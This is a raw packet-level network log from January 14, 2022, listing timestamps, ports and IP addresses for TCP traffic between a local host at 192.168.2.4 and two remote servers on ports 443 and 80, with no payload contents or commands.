Jan 14, 2022 20:30:05.988980055 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.989013910 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990267992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990292072 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990348101 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990362883 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990400076 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990423918 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990658045 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990683079 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990731955 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990744114 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.990780115 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.990808964 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.991162062 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991182089 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991229057 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.991241932 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991276979 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.991301060 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.991717100 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991740942 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991792917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:05.991806984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:05.991857052 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.000044107 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.010498047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.010539055 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.010621071 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.010643005 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.010782957 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011297941 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011328936 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011370897 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011383057 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011410952 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011426926 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011662006 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011687994 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011722088 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011732101 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.011756897 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.011776924 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.012401104 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.012434959 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.012465000 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.012476921 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.012500048 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.012518883 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.013694048 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.013727903 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.013777971 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.013789892 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.013820887 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.013838053 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014045954 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014075041 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014106035 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014116049 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014141083 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014159918 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014545918 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014584064 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014678001 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014688969 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014771938 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.014933109 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014960051 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.014993906 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.015002966 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.015029907 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.015048027 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.040868998 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.040910959 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.040968895 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.040990114 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041006088 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041033030 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041034937 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041054010 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041058064 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041088104 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041114092 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041131020 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041155100 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041189909 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041201115 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041213989 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041234016 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041261911 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041268110 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041277885 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041291952 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041327000 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041348934 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041374922 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041404009 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041414976 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041441917 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041455984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041461945 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041472912 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041500092 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041534901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041543007 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041559935 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041575909 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041589975 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041606903 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041620016 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041632891 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041655064 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041665077 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041676044 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041691065 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041711092 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041743994 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.041750908 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.041814089 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.057111979 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.057159901 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.057225943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.057254076 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.057265997 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.058933020 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064085960 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064131975 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064204931 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064228058 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064251900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064251900 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064277887 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064287901 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064304113 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064320087 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064364910 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064373016 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064414024 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064523935 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064555883 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064589977 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064600945 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.064634085 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.064655066 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065035105 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065066099 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065108061 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065119982 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065152884 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065172911 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065176010 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065195084 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065218925 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065248013 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065258980 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065291882 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065313101 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065483093 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065510035 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065547943 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065557003 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065596104 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065615892 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065700054 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065726995 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065767050 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065776110 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065804958 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065829039 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.065937042 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.065967083 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.066016912 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.066026926 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.066059113 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.066097975 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.070277929 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070301056 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070317030 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070332050 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070348024 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070364952 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070379972 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070396900 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070399046 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070415020 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070424080 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070432901 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070441008 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070451021 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070466042 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070472956 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070483923 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070499897 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070502996 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070516109 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070532084 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070543051 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070548058 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070564032 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070565939 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070580959 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070596933 CET	80	49891	74.201.28.62	192.168.2.4
Jan 14, 2022 20:30:06.070620060 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.070645094 CET	49891	80	192.168.2.4	74.201.28.62
Jan 14, 2022 20:30:06.071815968 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.087871075 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.087909937 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.087975979 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088001966 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088016033 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088022947 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088052034 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088056087 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088071108 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088083982 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088148117 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088222027 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088252068 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088278055 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088288069 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088304043 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088325024 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088675976 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088706970 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088741064 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088751078 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.088778019 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.088798046 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089035988 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089067936 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089103937 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089114904 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089138031 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089163065 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089322090 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089349985 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089405060 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089416981 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089679003 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089709997 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089736938 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089770079 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089778900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089812040 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089839935 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089879036 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089910984 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089941978 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.089952946 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.089989901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090003967 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090292931 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090326071 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090359926 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090368986 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090392113 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090409040 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090425014 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090462923 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090488911 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090500116 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.090512991 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.090537071 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111377001 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111416101 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111437082 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111475945 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111485958 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111527920 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111586094 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111613989 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111644030 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111654043 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111677885 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111699104 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111726999 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111762047 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111795902 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111807108 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.111835957 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.111856937 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112152100 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112180948 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112225056 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112236023 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112261057 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112283945 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112493992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112520933 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112560987 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112571955 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112596989 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112617016 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112890959 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112921000 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112953901 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.112965107 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.112993002 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113014936 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113266945 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113297939 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113343000 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113354921 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113389969 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113409996 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113476992 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113503933 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113549948 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113559961 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113593102 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113612890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113735914 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113766909 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113801003 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113815069 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.113842010 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.113862991 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.114078999 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.114111900 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.114149094 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.114160061 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.114182949 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.114201069 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.134860039 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.134917974 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.134960890 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.134980917 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135005951 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135025978 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135107994 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135138035 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135174990 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135185003 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135211945 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135230064 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135296106 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135325909 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135359049 CET	49890	443	192.168.2.4	144.76.136.153
Jan 14, 2022 20:30:06.135369062 CET	443	49890	144.76.136.153	192.168.2.4
Jan 14, 2022 20:30:06.135397911 CET	49890	443	192.168.2.4	144.76.136.153
